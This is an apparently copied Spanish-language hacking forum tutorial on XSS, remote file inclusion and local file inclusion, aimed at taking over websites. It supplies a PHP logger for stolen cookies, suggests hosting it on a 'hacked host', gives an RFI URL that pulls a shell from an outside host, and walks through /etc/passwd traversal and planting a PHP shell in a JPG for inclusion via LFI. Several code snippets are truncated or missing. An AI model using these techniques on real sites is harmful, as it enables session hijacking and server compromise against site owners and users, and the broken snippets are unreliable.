Haxs, Manuales:

[Taller] XSS, RFI, LFI [Escencial]

XSS:

Muchos creen que xss no sirve para nada, pero el xss es una vulnerabilidad de rango muy alto osea , es muy peligrosa y yo creo que mas de un 70% de las webs tienen xss

Este ataque consiste en la ejecucion de codigo en el lado del cliente.

Voy a explicarlo de la manera mas entendible posible.

Explotanto bien una xss uno pordría hacerce son las cookies de algún usuario, (normalmente el admin) y ownear el sitio

Digamos que tenemos nuestra web: (ejemplo nada mas)

http://www.ejemplo.com/

Y en index.php la variable porno esta mal sanada y no se checkea...
Suponiendo esto nosotros seriamos capazes de poder ejecutar codigo del lado del cliente...





Y aca es donde dice alert, bueno eso es solo para testiar si es vulnerable

Ahora seguimos a lo interesante.Sonrisa

Como podriamos robarles las cookiesHuh

Sencillo, solo necesitamos redirigir a nuestra victima a un php code que guarde las cookies

Para eso necesitamos un hacked host o un servidor free que tenga phpSonrisa

Ahora montamos nuestro codigo de salvado de cookies...
Aca les Facilito uno:

Código: (php)
= fopen('log2.htm','a');

$cookie = $_GET['c'];

$ip = getenv ('REMOTE_ADDR');

$re = $HTTPREFERRER;

$fecha=date("j F, Y, g:i a");

fwrite($archivo, '
Cookie: '
.htmlentities($cookie).'
Pagina: '
.htmlentities($re));
fwrite($archivo, '
IP: '
.$ip. '
Fecha y Hora: '
.$fecha. '');

fclose($archivo);

?>

Bueno ahora , que ya tenemos nuestro code online en un sitio que nos permita subir un php y no nos comprometa mucho, digamos:

http://www.elpunto.com/cookies.php (ejemplo nada mas)

Y creado nuestro log2.htm donde se logearan las cookies robadasSonrisa
En el code php requiere de este archivo.

Compondremos la url para robar las cookies



Bueno, explicando un poco que es lo que se hizo ahí:

: Cerramos el tag script

Bueno hasta ahí ya tenemos una pequeña introduccion a el xss.



Pasemos a RFI y LFI:

Estos errores ya no son tan comunes.

Se llaman:

RFI : Remote File Inclusion
LFI : Local File Inclusion

Los dos iguales de peligrosos a la hora de medirlos, solo que uno es mas facil que el otro a la hora de explotar.

Veamos primero RFI

Supongamos que tenemos un php code parecido a este :

Código: (php)
=$_GET['reberto'];

include(
$reberto);

?>


En eso consiste el RFI , la variable no esta filtrada y se incluye entonces si nosotros tenemos ese code en nuestra web:

www.ejemplo.com/index.php

y nuestra variable reberto como ahi se ve esta mal sanada...

Fácilmente podriamos hacer un:

http://www.ejemplo.com/index.php?reberto=http://www.ejemplo2.com/shell.txt?

Donde en www.ejemplo2.com/shell.txt tengamos nuestra shell y asi sera incluida facilmente en la web y ya tenemos ahi una shell php.

Bastante sencillo.

Ahora pasemos al LFI , como explique anteriormente este ataque es un ataque un poquito mas complicado , pero sigue siendo facil con un poco de practica

Consiste en llamar archivos del mismo servidor.

Supongamos que tenemos un archivo vulnerable a LFI con este code:

Código: (php)

Que pasaria , bueno si yo intentara incluir un archivo remotoo del servidor no lo incluiria, pero si yo intentara incluir un archivo que este dentro el servidor si podria.

Ya todos conocemos el ejemplo.

http://www.ejemplo.com/index.php?reberto=../../../etc/passwd

Donde lo que se ahce es ir llendo por los directorios hasta encontrar el archivo passwd dentro de la carpeta /etc/

Como hago para conseguir shell ahora???

Lo que vamos a necesitar es :

- Una imagen JPG
- El programa EDJPGCOM
- Y un code de una shell

Ahora lo que hacemos con esos tres objetos es :
Arrastramos la imagen hasta el ejecutable EDJPGCOM.exe y ahi nos dara una ventanita ahi pondremos el code de la shell php
y guardamos , bueno de esa manera ya tenemos nuestra shell php en una imagen...

Ahora que hacemos mmmm que les parece hacer un reverse DNS a la web vulnerable a LFI.

Bueno ahora necesitamos un sitio que nos permita subir imagenes, y en www.norberto.com (ejemplo) se puedes subir imagenes Lengua

Entonces nosotros vamos y subimos una imagen ahi y la guarda en:

www.norberto.com/imagenes/shell.jpg

Ahora vamos y hacemos:

www.ejemplo.com/index.php?reberto=../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../etc/passwd
NADA
www.ejemplo.com/index.php?reberto=../../../etc/passwd

Al fin: nos tira la lista de users :

root:0:0:root:/root:/bin/bash
reberto:33541:33541:xtremo:/home/xtremo:/bin/bash
xtremo:33542:33542:xtremo:/home/xtremo:/bin/bash
murder:33543:33543:murder:/home/murder:/bin/bash
ddlr:33544:33544:ddlr:/home/ddlr:/bin/bash
re:33545:33545:re:/home/re:/bin/bash
norberto:33546:33546:norberto:/home/norberto:/bin/bash

Ahora debemos adivinar el path de norberto que casi siempre es public_html/ ... suponiendo que sea ese nosotros ahora para incluir nuestra shell a ejemplo.com

tendriamos que hacer http://www.ejemplo.com/index.php?reberto=../../../home/norberto/public_html/imagenes/shell.jpg

Y ahora si , tendriamos un shell php montada , es muy util y funcion.Giñar

Editado: ohk
Fuente: el sobrino